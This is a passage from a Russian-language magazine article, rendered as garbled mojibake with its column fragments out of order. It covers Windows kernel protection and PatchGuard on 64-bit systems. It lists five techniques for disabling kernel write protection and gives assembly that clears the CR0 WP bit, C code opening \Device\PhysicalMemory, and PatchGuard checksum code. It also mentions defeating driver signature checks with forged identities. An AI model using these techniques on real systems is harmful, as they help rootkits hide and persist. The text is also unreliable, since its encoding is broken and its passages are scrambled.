ñâîáîäíî âìåøèâàòüñÿ â ðàáîòó ÿäðà, ìîäèôè-
öèðóÿ åãî ïî ñâîåìó óñìîòðåíèþ. À âåäü x86-ïðî-
öåññîðû ïðåäîñòàâëÿþò öåëûõ ÷åòûðå êîëüöà çà-
ùèòû (èç êîòîðûõ NT èñïîëüçóåò òîëüêî äâà), è
òåõíè÷åñêè íè÷åãî íå ñòîèò èçîëèðîâàòü ÿäðî îò
äðàéâåðîâ, çàïóñêàÿ èõ â ìåíåå ïðèâèëåãèðîâàí-
íîì êîëüöå. Êñòàòè ãîâîðÿ, â Âèñòå íàêîíåö-òî
ïîÿâèëèñü «äðàéâåðà», ðàáîòàþùèå íà ïðèêëàä-
íîì óðîâíå è îáñëóæèâàþùèå çàïðîñû îò óñò-
ðîéñòâ, ïîñòàâëÿåìûõ äðàéâåðàìè íèæíåãî óðîâ-
íÿ (íàïðèìåð äðàéâåð USB-ðàäèî). Êðàõ âûñîêî-
óðîâíåâîãî äðàéâåðà óæå íå ïðèâîäèò ê êðàõó
âñåé ñèñòåìû, îäíàêî ñàì ïî ñåáå äðàéâåð ñòàíî-
âèòñÿ ÷ðåçâû÷àéíî óÿçâèìûì ñî ñòîðîíû ïðèê-

ëàäíûõ ïðèëîæåíèé, ïëþñ âçàèìîäåéñòâèå
ñ äðàéâåðàìè íèæíåãî óðîâíÿ òðåáóåò ÷àñòûõ ïå-
ðåõîäîâ â ðåæèì ÿäðà (ñ ïîñëåäóþùèìè âîçâðà-
ùåíèÿìè îáðàòíî), ÷òî îòíþäü íå ñïîñîáñòâóåò
ïðîèçâîäèòåëüíîñòè. Ñ ïåðåäà÷åé áîëüøèõ îáú-
åìîì äàííûõ òàêæå âîçíèêàþò ïðîáëåìû. Åñëè
âíóòðè ÿäðà îíè ìîãóò ëåãêî ïåðåäàâàòüñÿ ïî
ññûëêå, òî ìåæóðîâíåâàÿ ïåðåäà÷à äîëæíà îñó-
ùåñòâëÿòüñÿ òîëüêî ïî çíà÷åíèþ, òî åñòü ïóòåì
êîïèðîâàíèÿ ÷åðåç ïðîìåæóòî÷íûé áóôåð, ìíî-
ãîêðàòíî óâåëè÷èâàþùèé òðåáîâàíèÿ ê ñèñòåì-
íûì ðåñóðñàì, îñîáåííî ïðè ðàáîòå ñ áûñòðûìè
óñòðîéñòâàìè. Íó, è ðàäè ÷åãî ýòî âñå?

ïðîáëåìû ããèáðèäíûõ ÿÿäåð. Ðàçðàáîò÷èêè
ìîíîëèòíûõ ÿäåð ñòðåìÿòñÿ âêëþ÷èòü â íèõ âñå
äðàéâåðà, êîòîðûå òîëüêî ìîãóò ïîíàäîáèòüñÿ êî-
íå÷íîìó ïîëüçîâàòåëþ, ÷òî óâåëè÷èâàåò èõ ðàç-
ìåð, íî îáåñïå÷èâàåò íàèâûñøèé óðîâåíü ñòà-
áèëüíîñòè è áåçîïàñíîñòè. Ïî ñòàòèñòèêå, îñíîâ-
íûì èñòî÷íèêîì ãîëóáûõ ýêðàíîâ ñìåðòè ÿâëÿåòñÿ
îòíþäü íå ñàìà Windows, à äðàéâåðà, ðàçðàáîòàí-
íûå «ïèîíåðàìè» ïîñëå ïëàíîâîé ðàñêóðêè ìåñò-
íîé ïîäçàáîðíîé. Õóæå âñåãî, ÷òî íåêîòîðûå èç
íèõ çàãðóæàþòñÿ áåç âåäîìà ïîëüçîâàòåëÿ è íå
èìåþò íèêàêèõ ñðåäñòâ äëÿ äåèíñòàëëÿöèè. Ñ äðó-
ãîé ñòîðîíû, ìîíîëèòíîå ÿäðî áåç âîçìîæíîñòè
çàãðóçêè äðàéâåðîâ íèêîìó, çà èñêëþ÷åíèåì ñåð-

âåðîâ, íå íóæíî. Ñåðâåðû ðàáîòàþò íà âïîëíå
ïðåäñêàçóåìîì æåëåçå, èì íå íóæíû íè íàâîðî-
÷åííûå çâóêîâûå êàðòû, íè ñâåðõáûñòðîå âèäåî.

Ðàáî÷èå ñòàíöèè — äðóãîå äåëî. Íîâîå æå-
ëåçî ïîÿâëÿåòñÿ ÷óòü ëè íå åæåäíåâíî, è ïî ñëî-
æèâøåéñÿ òðàäèöèè âìåñòå ñ íèì èäåò äðàéâåð,
ðàçðàáîòàííûé ïðîèçâîäèòåëåì, íàíÿâøèì äâóõ
ãîëîäíûõ êèòàéñêèõ ñòóäåíòîâ, êîòîðûå âàÿþò åãî
ïàðàëëåëüíî ñ èçó÷åíèåì DDK. Âîò òàê è ïîÿâëÿ-
þòñÿ äðàéâåðà, çàïóñêàþùèåñÿ ëèøü íà ìàøèíàõ
èõ ñîçäàòåëåé è âìåñòî èñïîëüçîâàíèÿ äîêóìåí-
òèðîâàííûõ èíòåðôåéñîâ çà êàêèì-òî õðåíîì ëå-
çóùèå â ãëóáü ÿäðà. Ïîñëåäñòâèÿ òàêîãî ïîäõîäà
èçâåñòíû — íåñòàáèëüíîñòü, ïëîõàÿ ñîâìåñòè-
ìîñòü ñ ðàçëè÷íûìè âåðñèÿìè NT, áåñêîíå÷íûå
ãîëóáûå ýêðàíû ñìåðòè…

Íî íå ñòîèò âàëèòü â îäíó êó÷ó «ïèîíåðñòâî»
è ñèñòåìíîå ïðîãðàììèðîâàíèå. ßäðî ýêñïîðòè-
ðóåò ìíîæåñòâî ôóíêöèé (êàê äîêóìåíòèðîâàí-
íûõ, òàê è íåò), íî ñàìûå èíòåðåñíûå îñòàâëÿåò
âíóòðè ñåáÿ, íå ïðåäñòàâëÿÿ ê íèì íèêàêèõ ðû÷à-
ãîâ óïðàâëåíèÿ. Âîò è ïðèõîäèòñÿ âëàìûâàòüñÿ
â ÿäðî, íàðóøàÿ âñå çàïðåòû.

Îòäåëüíîãî ðàçãîâîðà çàñëóæèâàþò root-
kit'û, ìîäèôèöèðóþùèå ÿäðî â öåëÿõ ñâîåé ìàñêè-
ðîâêè. Äëÿ ýòîãî îíè ïåðåõâàòûâàþò ôóíêöèè, ðà-
áîòàþùèå ñ ôàéëàìè, ïðîöåññàìè, ñåòåâûìè ñîå-

ÊÀÊ ÕÕÀÊÅÐÛ ËËÎÌÀÞÒ ÂÂÅËÈÊÈÉ
PATCH-GGUARD ÎÎÒ MMS
Â 64-ÁÈÒÍÛÕ ÂÅÐÑÈßÕ WINDOWS XP/VISTA, SERVER 2003/LONGHORN ÏÎßÂÈËÑß ØÈÐÎÊÎ
ÐÀÇÐÅÊËÀÌÈÐÎÂÀÍÍÛÉ ÌÅÕÀÍÈÇÌ PATCH-GUARD, ÊÎÍÒÐÎËÈÐÓÞÙÈÉ ÖÅËÎÑÒÍÎÑÒÜ
ÑÈÑÒÅÌÛ È ÏÐÈÇÂÀÍÍÛÉ ÓÁÅÐÅ×Ü ÏÎËÜÇÎÂÀÒÅËÅÉ ÎÒ ROOTKIT'ÎÂ È ÍÅÊÎÐÐÅÊÒÍÎ
ÐÀÁÎÒÀÞÙÈÕ ÏÐÎÃÐÀÌÌ, ÂËÀÌÛÂÀÞÙÈÕÑß Â ßÄÐÎ, ÑËÎÂÍÎ ÑËÎÍ Â ÏÎÑÓÄÍÓÞ ËÀÂÊÓ.
ÍÀÑÊÎËÜÊÎ ÍÀÄÅÆÍÀ ÒÀÊÀß ÇÀÙÈÒÀ, È ÌÎÆÍÎ ËÈ ÅÅ ÎÁÎÉÒÈ?

5.
te

st
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äèíåíèÿìè, è «âû÷èùàþò» âñÿêîå óïîìèíàíèå
î ñåáå. Êàêîìó ïîëüçîâàòåëþ ïîíðàâèòñÿ, ÷òî íà
åãî ìàøèíå ðàáîòàåò íå÷òî, î ÷åì îí äàæå íå ïî-
äîçðåâàåò, è äåëàåò âåùè, â êîòîðûõ îí íå íóæäà-
åòñÿ? Íàïðèìåð, óñòàíàâëèâàåò backdoor èëè âî-
ðóåò êîíôèäåíöèàëüíóþ èíôîðìàöèþ.

Ïîïûòêè çàùèòèòü ÿäðî ïðåäïðèíèìàëèñü çà-
äîëãî äî âûõîäà Âèñòû. Íà÷èíàÿ ñ W2K, Microsoft
ïðåäïðèíÿëà ïåðâûé ðàäèêàëüíûé øàã äëÿ çàùèòû
ÿäðà îò çëîâðåäíûõ äðàéâåðîâ, òàê è íîðîâÿùèõ
ìîäèôèöèðîâàòü êîå-÷òî. Îäíàêî äëÿ ñîõðàíåíèÿ
îáðàòíîé ñîâìåñòèìîñòè ñ óæå íàïèñàííûìè ïðîã-
ðàììàìè áûëà ïðåäóñìîòðåíà ëàçåéêà, îòêëþ÷àþ-
ùàÿ çàùèòó, à òî÷íåå — öåëûõ ïÿòü:

1 ÓÑÒÀÍÎÂÊÀ ÏÀÐÀÌÅÒÐÀ
ENFORCEWRITEPROTECTION ÒÈÏÀ
DWORD-ÂÅÒÊÈ ÑÈÑÒÅÌÍÎÃÎ ÐÅÅÑÒÐÀ
HKLM\SYSTEM\CURRENTCONTROLSET\CO
NTROL\SESSIONMANAGER\MEMORYMAN-
AGEMENT Â «0» (ÈÇÌÅÍÅÍÈß ÂÑÒÓÏßÒ
Â ÑÈËÓ ÒÎËÜÊÎ ÏÎÑËÅ ÏÅÐÅÇÀÃÐÓÇÊÈ).

2 ÑÁÐÎÑ ÔËÀÃÀ WP (WRITEPROTECT) 
Â ÓÏÐÀÂËßÞÙÅÌ ÐÅÃÈÑÒÐÅ CR0 (ÑÌ.
ËÈÑÒÈÍÃ 1, 2), — ÍÅ ÒÐÅÁÓÅÒ ÏÅÐÅÇÀÃ-
ÐÓÇÊÈ, ÍÎ ÄÎÑÒÓÏÅÍ ÒÎËÜÊÎ 
ÈÇ ÐÅÆÈÌÀ ßÄÐÀ.

3 ÐÅÏÀÌÈÍÃ ÑÒÐÀÍÈÖ — ÎÒÎÁÐÀÆÀÅÌ
ÔÈÇÈ×ÅÑÊÈÉ ÀÄÐÅÑ ÑÒÐÀÍÈÖÛ, ÊÎÒÎ-
ÐÓÞ ÌÛ ÕÎÒÈÌ ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ,
ÍÀ ÂÈÐÒÓÀËÜÍÎÅ ÀÄÐÅÑÍÎÅ ÏÐÎÑÒÐÀ-
ÍÑÒÂÎ «ÑÂÎÅÃÎ» ÏÐÎÖÅÑÑÀ ÏÎÑÐÅÄ-
ÑÒÂÎÌ ÂÛÇÎÂÀ ÔÓÍÊÖÈÈ
NTMAPVIEWOFSECTION. ÍÀÇÍÀ×ÀÅÌ ÂÑÅ

ÍÅÎÁÕÎÄÈÌÛÅ ÏÐÀÂÀ È ÀÒÐÈÁÓÒÛ,
ÏÎÑËÅ ×ÅÃÎ ÄÅËÀÅÌ Ñ ÍÅÉ ÂÑÅ, ×ÒÎ
ÕÎÒÈÌ! ÒÀÊÈÌ ÎÁÐÀÇÎÌ, ÌÎÆÍÎ ÎÒÊ-
ÐÛÒÜ ÄÎÑÒÓÏ Ê ßÄÐÓ ÄÀÆÅ Ñ ÏÐÈÊËÀÄ-
ÍÎÃÎ ÓÐÎÂÍß, ÏÐÈ×ÅÌ ÁÅÇ ÏÅÐÅÇÀÃ-
ÐÓÇÊÈ!

4 ÇÀÏÈÑÜ Â ÏÑÅÂÄÎÓÑÒÐÎÉÑÒÂÎ PHYSI-

CALMEMORY, ÏÐÅÄÑÒÀÂËßÞÙÅÅ ÑÎÁÎÉ

ÎÁÐÀÇ ÔÈÇÈ×ÅÑÊÎÉ ÏÀÌßÒÈ

ÄÎ ÒÐÀÍÑËßÖÈÈ ÂÈÐÒÓÀËÜÍÛÕ 

ÀÄÐÅÑÎÂ È ÏÎÇÂÎËßÞÙÅÅ ÌÎÄÈÔÈÖÈ-

ÐÎÂÀÒÜ ÏÀÌßÒÜ ßÄÐÀ ÄÀÆÅ Ñ ÏÐÈÊ-

ËÀÄÍÎÃÎ ÓÐÎÂÍß, ÎÁËÀÄÀß ÂÑÅÃÎ

ËÈØÜ ÏÐÀÂÀÌÈ ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ

È ÁÅÇ ÏÅÐÅÇÀÃÐÓÇÊÈ (ÑÌ. ËÈÑÒÈÍÃ 3).

5 ÌÎÄÈÔÈÊÀÖÈß ÔÀÉËÀ NTOSKNRL.EXE
ÍÀ ÄÈÑÊÅ — ÑÀÌÛÉ ÓÐÎÄËÈÂÛÉ ÑÏÎ-
ÑÎÁ ÈÇ ÂÑÅÕ, ÒÐÅÁÓÞÙÈÉ ÎÁÕÎÄÀ
SFC, ÊÎÐÐÅÊÖÈÈ ÊÎÍÒÐÎËÜÍÎÉ ÑÓÌÌÛ
EXE-ÔÀÉËÀ, ÏÅÐÅÇÀÃÐÓÇÊÈ, È Ê ÒÎÌÓ
ÆÅ ÂÛÇÛÂÀÞÙÈÉ ÑÅÐÜÅÇÍÛÅ ÊÎÍÔ-
ËÈÊÒÛ ÏÐÈ ÓÑÒÀÍÎÂÊÅ SERVICE
PACK'ÎÂ.

«Ïîëèòè÷åñêè êîððåêòíàÿ» ïðîãðàììà äîëæíà íå
ïðîñòî îòêëþ÷àòü/âêëþ÷àòü çàùèòó îò çàïèñè,
à çàïîìèíàòü òåêóùåå ñîñòîÿíèå áèòà WP ïåðåä
åãî èçìåíåíèåì, à çàòåì âîññòàíàâëèâàòü åãî îá-
ðàòíî «êàê áûëî», èíà÷å ìîæíî íåïðîèçâîëüíî
âêëþ÷èòü çàùèòó â ñàìûé íåïîäõîäÿùèé ìîìåíò,
ñåðüåçíî íàâðåäèâ âèðóñó èëè rootlit'ó.

Çàïèñü â ôèçè÷åñêóþ ïàìÿòü îñóùåñòâëÿ-
åòñÿ ñëîæíåå (ê òîìó æå, íåîáõîäèìî ïðåäâàðè-
òåëüíî íàéòè êîä ñàìîãî ÿäðà, ÷òî ìîæíî ñäå-
ëàòü, íàïðèìåð, ïîèñêîì ñèãíàòóðû ìîäèôèöè-
ðóåìîé ôóíêöèè â PhysicalMemory, ïðè ýòîì ñà-
ìà ôóíêöèÿ äîëæíà ïðèñóòñòâîâàòü â ïàìÿòè,
à íå âàëÿòüñÿ â ñòðàíè÷íîì ôàéëå, òî åñòü ïðåæ-
äå ÷åì ìîäèôèöèðîâàòü ôóíêöèþ, åå íåîáõîäè-
ìî âûçûâàòü õîòÿ áû ñ ôèêòèâíûìè àðãóìåíòà-
ìè) (ëèñòèíã 3) .

Â ÷àñòíîñòè, soft-ice ðàáîòàåò, èñïîëüçóÿ
ïåðâûé ñïîñîá, áîëüøèíñòâî àíòèâèðóñîâ, áðàíä-
ìàóýðîâ è rootkit'îâ — âòîðîé è òðåòèé. ×åòâåðòûé
ñïîñîá â îñíîâíîì âñòðå÷àåòñÿ â rootkit'àõ (è ïðîã-
ðàììàõ, ïðåäíàçíà÷åííûõ äëÿ áîðüáû ñ íèìè, òè-
ïà SDTRestore). Ïÿòûé ñïîñîá îáû÷íî èñïîëüçóåò-
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Êîä, îòêëþ÷àþùèé çàùèòó ÿäðà îò çàïèñè. Ñîîòâåòñòâåííî, ÷òîáû âêëþ÷èòü çàùèòó,

áèò WP íóæíî óñòàíîâèòü, ÷òî è äåëàþò ñëåäóþùèå ìàøèííûå êîìàíäû

mov eax, cr0 ; ãðóçèì óïðàâëÿþùèé ðåãèñòð cr0 â ðåãèñòð eax

and eax, 0FFFEFFFFh; ñáðàñûâàåì áèò WP, çàïðåùàþùèé çàïèñü

mov cr0, eax ; îáíîâëÿåì óïðàâëÿþùèé ðåãèñòð cr0

Êîä, âêëþ÷àþùèé çàùèòó ÿäðà

mov eax, cr0 ; ãðóçèì óïðàâëÿþùèé ðåãèñòð cr0 â ðåãèñòð eax

or eax, 10000h ; ñáðàñûâàåì áèò WP, çàïðåùàþùèé çàïèñü

mov cr0, eax ; îáíîâëÿåì óïðàâëÿþùèé ðåãèñòð cr0

Îòêðûòèå ïñåâäîóñòðîéñòâà PhysicalMemory

// ðàçíûå ïåðåìåííûå

NTSTATUS ntS; HANDLE Section; OBJECT_ATTRIBUTES ObAttributes;

INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

// èíèöèàëèçàöèÿ àòðèáóòîâ

InitializeObjectAttributes(&ObAttributes, &ObString,

OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

// îòêðûâàåì ñåêöèþ PhysicalMemory

ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE, &ObAttributes);

(1)

(2)

(3)

Îáñóæäåíèå â ðàçãàðå
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ñÿ äëÿ ïðåâðàùåíèÿ 180-äíåâíîé âåðñèè Windows
â «ëèöåíçèîííóþ».

Ïåðâîå íàñòóïëåíèå íà rootkit'û Microsoft
ïðåäïðèíÿëà â Windows 2003 Server SP1, çàêðûâ
äîñòóï ê PhysicalMemory íå òîëüêî àäìèíèñòðàòî-
ðó, íî äàæå ïðèëîæåíèÿì ñ ïðèâèëåãèÿìè SYS-
TEM! Ñëåäóþùèé øàã, ïðåäïðèíÿòûé óæå â Âèñ-
òå — çàùèòà ÿäðà öèôðîâîé ïîäïèñüþ, ïðåäîòâ-

ðàùàþùåé åãî ìîäèôèêàöèþ íà äèñêå. Âî âñÿ-
êîì ñëó÷àå, òåîðåòè÷åñêè. Íà ïðàêòèêå æå õàêåðû
ìîäèôèöèðóþò ÿäðî âìåñòå ñ ìåõàíèçìîì ïðî-
âåðêè öèôðîâîé ïîäïèñè, îòëàìûâàÿ ïîñëåäíèé
çà  íåíàäîáíîñòüþ.

Ïðåäïðèíÿòûå ìåðû íå ñëèøêîì-òî óñèëèëè
çàùèùåííîñòü ñèñòåìû, äà è íå ìîãëè åå óñèëèòü,
ïîñêîëüêó çàêðûòèå âñåõ ëàçååê ïðèâåëî áû ê íå-

ðàáîòîñïîñîáíîñòè îãðîìíîãî êîëè÷åñòâà ëåãàëü-
íûõ ïðîãðàìì, íà ÷òî Microsoft ïîéòè íå ìîãëà, ïî-
ýòîìó äàæå 32-áèòíàÿ ðåäàêöèÿ Âèñòû ïî-ïðåæíå-
ìó îñòàåòñÿ íåçàùèùåííîé.

àòàêà ííà ÿÿäðî ââ 664-ááèòíûõ ññèñòåìàõ. Âîñ-
ïîëüçîâàâøèñü ïîÿâëåíèåì íîâûõ ïðîöåññîðíûõ
àðõèòåêòóð x86-64 (AMD) è IA64 (Intel), Microsoft ïå-
ðåíåñëà íà íèõ ñâîè ñèñòåìû: XP, Âèñòó, Server
2003 è Server Longhorn, ïðîâîçãëàñèâ íîâóþ ïîëè-
òèêó ìîäèôèêàöèè ÿäðà — òî åñòü íèêàêîé ìîäè-
ôèêàöèè. Äåéñòâóéòå òîëüêî ÷åðåç ëåãàëüíûå
ñðåäñòâà èëè äî ñâèäàíèÿ! Â äîáàâîê ê ýòîìó,
Microsoft çàáëîêèðîâàëà çàãðóçêó äðàéâåðîâ áåç
öèôðîâîé ïîäïèñè, ïîîáåùàâ, ÷òî íèêàêîé íåàâòî-
ðèçîâàííûé êîä íå ñìîæåò ïðîíèêíóòü íà óðîâåíü
ÿäðà. Òèïà, íèêàêèõ ÷åðâåé è rootkit'îâ îòíûíå íå
áóäåò, ñïèòå ñïîêîéíî! (Áîëåå ïîäðîáíî îá ýòîì
ðàññêàçûâàþò ñëåäóþùèå îôèöèàëüíûå äîêóìåí-
òû: http://download.microsoft.com/download/c/2/9/c2935f83-
1a10-4e4a-a137-c1db829637f5/windowsvistasecuritywp.doc,
http://download.microsoft.com/download/9/c/5/9c5b2167-
8017-4bae-9fde-d599bac8184a/KMCS_Walkthrough.doc,
http://download.microsoft.com/download/9/c/5/9c5b2167-
8017-4bae-9fde-d599bac8184a/kernel-en.doc è äðóãèå).

Êàêàÿ òðîãàòåëüíàÿ çàáîòà î ïîëüçîâàòåëÿõ!
È êàêîå ïðåíåáðåæèòåëüíîå îòíîøåíèå ê ðàçðà-
áîò÷èêàì! Microsoft äåëàåò âèä, ÷òî ïðîáëåìû îá-
ðàòíîé ñîâìåñòèìîñòè äëÿ 64-áèòíûõ ñèñòåì íå
ñóùåñòâóåò â ïðèðîäå, êàê íå ñóùåñòâóåò ãîòîâûõ
ïðîãðàìì äëÿ íèõ. Ýòî íåïðàâäà. Áîëüøèíñòâî
ïðîãðàìì (â òîì ÷èñëå è äðàéâåðîâ!) ïåðåíîñèòñÿ
ïóòåì ïðîñòîé ïåðåêîìïèëÿöèè ñ ëåãêîé ðåòóøüþ,
ó÷èòûâàþùåé ñïåöèôèêó 64-áèòíûõ àðõèòåêòóð.

Åñòåñòâåííî, ÷åì ãëóáæå âãðûçàåòñÿ äðàé-
âåð â 32-áèòíîå ÿäðî, òåì ñëîæíåå åãî îòäèðàòü,
òàê ÷òî ïåðåõîä íà 64-áèòíûå ñèñòåìû çàòÿíåòñÿ
íàäîëãî, à íåêîòîðûå ñèñòåìíûå óòèëèòû ïðè-
äåòñÿ ïåðåïèñûâàòü ñ ÷èñòîãî ëèñòà. Ñàìîå
îáèäíîå, ÷òî íè âèðóñîâ, íè rootkit'îâ ýòî íèêàê íå
êîñíåòñÿ. Ìåõàíèçì îáõîäà öèôðîâîé ïîäïèñè
ïóòåì ìîäèôèêàöèè ôàéëà ïîäêà÷êè íà ñåêòîð-
íîì óðîâíå áûë ïðåäëîæåí Æàííîé Ðóòêîâñêîé
åùå äî ïîÿâëåíèÿ Âèñòû íà ïðèëàâêàõ, è çàòê-
íóòü åãî Microsoft íå ïîä ñèëó. Íî äàæå åñëè åé
ýòî óäàñòñÿ, â ñèñòåìå ïîëíî äðàéâåðîâ îò ñòî-
ðîííèõ ðàçðàáîò÷èêîâ, ïîçâîëÿþùèõ àòàêóþùå-
ìó äåëàòü ñ ÿäðîì âñå ÷òî óãîäíî, ïëþñ äûðû ñà-
ìîé ñèñòåìû. Íàêîíåö, íè÷åãî íå ìåøàåò íàïè-
ñàòü äðàéâåð, îòêëþ÷àþùèé ïðîâåðêó öèôðîâîé
ïîäïèñè, è ïîäïèñàòü åãî, âîñïîëüçîâàâøèñü
ïîääåëüíûì óäîñòîâåðåíèÿì ëè÷íîñòè. Êîíå÷íî,
ýòî áîëüøîé ãåìîððîé è âîîáùå íåçàêîííî, íî
ìû æå íå î çàêîííîñòè ãîâîðèì, à ðàññìàòðèâà-
åì ñòåïåíü (íå)çàùèùåííîñòè.

Îñîçíàâàÿ âñå ýòî, Microsoft âíåäðèëà â ñâîè
64-áèòíûå ñèñòåìû (XP, Âèñòà, Server 2003 SP1,
Server Longhorn) ñïåöèàëüíûé ìåõàíèçì, êîíòðîëè-
ðóþùèé öåëîñòü ÿäðà è òèòóëîâàííûé ãîðäûì çâà-
íèåì Patch-Guard. Ñòðàæíèê, çíà÷èò. Ìåæäó ïðî-
÷èì, íå ïðåòåðïåâøèé íèêàêèõ çíà÷èòåëüíûõ èçìå-
íåíèé ñî âðåìåí Server 2003 S1, ãäå îí, ñîáñòâåííî

Êîä ôóíêöèè PgCreateBlockChecksumSubContext,

ðàññ÷èòûâàþùèé êîíòðîëüíóþ ñóììó çàäàííîãî áëîêà

PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(

IN PPATCHGUARD_CONTEXT Context,

IN ULONG Unknown,

IN PVOID BlockAddress,

IN ULONG BlockSize,

IN ULONG SubContextSize,

OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL)

{

ULONG64 Checksum = Context->RandomHashXorSeed;

ULONGChecksum32;

// Checksum 64-bit blocks

while (BlockSize >= sizeof(ULONG64))

{

Checksum ̂ = *(PULONG64)BaseAddress;

Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);

BlockSize -= sizeof(ULONG64);

BaseAddress += sizeof(ULONG64);

}

// Checksum aligned blocks

while (BlockSize-- > 0)

{

Checksum ̂ = *(PUCHAR)BaseAddress;

Checksum = RotateLeft(Checksum, Context->RandomHashRotateBits);

BaseAddress++;

}

Checksum32 = (ULONG)Checksum;

Checksum >>= 31;

do

{

Checksum32 ̂ = (ULONG)Checksum;

Checksum >>= 31;

} while (Checksum);

}

Ñòðóêòóðà, õðàíÿùàÿ 32-áèòíûé CRC âìåñòå ñ äðóãèìè äàííûìè

typedef struct BLOCK_CHECKSUM_STATE

{

ULONGUnknown;

ULONG64 BaseAddress;

ULONGBlockSize;

ULONGChecksum;

} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

(4)

(5)
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ãîâîðÿ, è ïîÿâèëñÿ âïåðâûå. Êàê ãîâîðèë ïðà-ïðà-
ïðà-ïðà-äåäóøêà Áèëëà Ãåéòñà: «Ïîëêîâíèê Êîëüò
óðàâíÿë ëþäåé â ïðàâàõ» è Patch-Guard, îáëàäàþ-
ùèé òåìè æå ñàìûìè ïðèâèëåãèÿìè, ÷òî è çëîâðåä-
íûå äðàéâåðà, èìååò âñå øàíñû áûòü ïðîïàò÷åí-
íûì ïðåæäå, ÷åì óñïååò ñêàçàòü «ìÿó».

Ïîäðîáíîå îïèñàíèå âíóòðåííåãî óñòðîéñòâà
Patch-Guard'à ìîæíî íàéòè â ñòàòüå «Bypassing
PatchGuard on Windows x64» îò skape è Skywing (íà
ñàìîì äåëå, â îïåðàöèè ïî òðåïàíàöèè ýòîé òâàðè
áûëî çàäåéñòâîâàíî ãîðàçäî áîëüøå ëþäåé, óïîìÿ-
íóòûõ â ñòàòüå): http://uninformed.org/index.cgi?v=-
3&a=3&t=sumry. Òàê æå íå ïîìåøàåò îçíàêîìèòüñÿ
ñ îôèöèàëüíûìè äîêóìåíòàìè îò ñàìîé Microsoft:
www.microsoft.com/whdc/driver/kernel/64bitpatching.mspx è
www.microsoft.com/whdc/driver/kernel/64bitpatch_FAQ.mspx.

Patch-Guard èíèöèàëèçèðóåòñÿ òîëüêî â îòñó-
òñòâèè ñèñòåìíîãî îòëàä÷èêà, ïîäêëþ÷àþùåãîñÿ
ïðè çàãðóçêå (èëè åãî èìèòàöèè â âèäå «çàòû÷êè»),
â ïðîòèâíîì ñëó÷àå îòëàä÷èê íå ñìîã áû óñòàíàâ-
ëèâàòü ïðîãðàììíûå òî÷êè îñòàíîâà (ïðåäñòàâëÿþ-
ùèå ñîáîé îäíîáàéòîâóþ ìàøèííóþ êîìàíäó CCh)
è äåëàòü ìàññó äðóãèõ æèçíåííî âàæíûõ âåùåé.

Áóäó÷è èíèöèàëèçèðîâàííûì, Patch-Guard
â ñëó÷àéíûå ïðîìåæóòêè âðåìåíè (ïðèáëèçèòåëüíî
îäèí ðàç â 5-10 ìèíóò) çàïóñêàåò ïðîöåäóðó ïðî-
âåðêè öåëîñòíîñòè ÿäðà, íàâîäÿùóþ â ñèñòåìå íàñ-
òîÿùèé øìîí. Òåêóùèå âåðñèè ñîçäàþò êîïèè âñåõ
êðèòè÷åñêèõ ñòðóêòóð äàííûõ è ïîäñ÷èòûâàþò êîíò-
ðîëüíûå ñóììû NTOSKRNL.EXE (ÿäðî), HAL.DLL
(áèáëèîòåêà àáñòðàãèðîâàíèÿ îò îáîðóäîâàíèÿ) è
NDIS.SYS (îäèí èç ñàìûõ íèçêîóðîâíåâûõ ñåòåâûõ
äðàéâåðîâ). Ïî÷åìó Patch-Guard ðàáîòàåò ïî ïðèí-
öèïó îáõîä÷èêà à-la «â Áàãäàäå âñå ñïîêîéíî»,
âìåñòî òîãî, ÷òîáû ïðåñåêàòü âñÿêóþ ïîïûòêó ìî-
äèôèêàöèè â ìîìåíò åå ïîÿâëåíèÿ? Íåêîòîðûå óò-
âåðæäàþò, ÷òî âî âñåì âèíîâàò ïðîöåññîð, íå ïðå-
äîñòàâëÿþùèõ òàêèõ âîçìîæíîñòåé. Íó, íà ñàìîì
äåëå, ïðîöåññîð ïðåäîñòàâëÿåò, òîëüêî ïàðíè èç
Ðýéìîíäà âîñïîëüçîâàòüñÿ ýòèì íå óìåþò, âî âñÿ-
êîì ñëó÷àå, íå â òîé ìåðå, â êàêîé ýòî íåîáõîäèìî.

Ïîëíûé ñïèñîê êîíòðîëèðóåìûõ ýëåìåíòîâ
ïðèâåäåí íèæå (åñòåñòâåííî, â ïîñëåäóþùèõ âåð-
ñèÿõ Âèñòû îí ìîæåò èçìåíèòüñÿ): 

— ÒÀÁËÈÖÀ ÃËÎÁÀËÜÍÛÕ 
ÄÅÑÊÐÈÏÒÎÐÎÂ — GDT;

— ÒÀÁËÈÖÀ ÄÅÑÊÐÈÏÒÎÐÎÂ 
ÏÐÅÐÛÂÀÍÈÉ — IDT;

— ÑÒÅÊ ßÄÐÀ, ÂÛÄÅËÅÍÍÛÉ ÍÅ ßÄÐÎÌ,
À ÊÅÌ-ÒÎ ÅÙÅ;

— ÒÀÁËÈÖÀ ÄÅÑÊÐÈÏÒÎÐÎÂ ÑÈÑÒÅÌÍÛÕ
ÑÅÐÂÈÑÎÂ — SSDT;

— ÎÁÐÀÇÛ ÑËÅÄÓÞÙÈÕ ÑÈÑÒÅÌÍÛÕ ÔÀÉ-
ËÎÂ: NTOSKRNL.EXE, NDIS.SYS, HAL.DLL;

— ÑËÓÆÅÁÍÛÅ MSR-ÐÅÃÈÑÒÐÛ
STAR/LSTAR/CSTAR/SFMASK, ÎÒÂÅ×ÀÞ-
ÙÈÅ ÇÀ SYSCALL'Û;

— AMD X86-64 ÏÐÅÄÎÑÒÀÂËßÅÒ ÂÎÇÌÎÆ-
ÍÎÑÒÜ ÊÎÍÒÐÎËß ÇÀ ÎÁÐÀÇÎÌ ßÄÐÀ
ÁÅÇ ÐÀÑ×ÅÒÀ CRC.

Êîíòðîëü öåëîñòíîñòè ñèñòåìíûõ ôàéëîâ óæå íå
ïîçâîëÿåò ïåðåõâàòûâàòü ôóíêöèè ïóòåì âíåäðå-
íèÿ â èõ íà÷àëî jump'à íà õàêåðñêèé îáðàáîò÷èê,
à ñëåæåíèå çà SSDT ïðåïÿòñòâóåò ïîäìåíå àäðå-
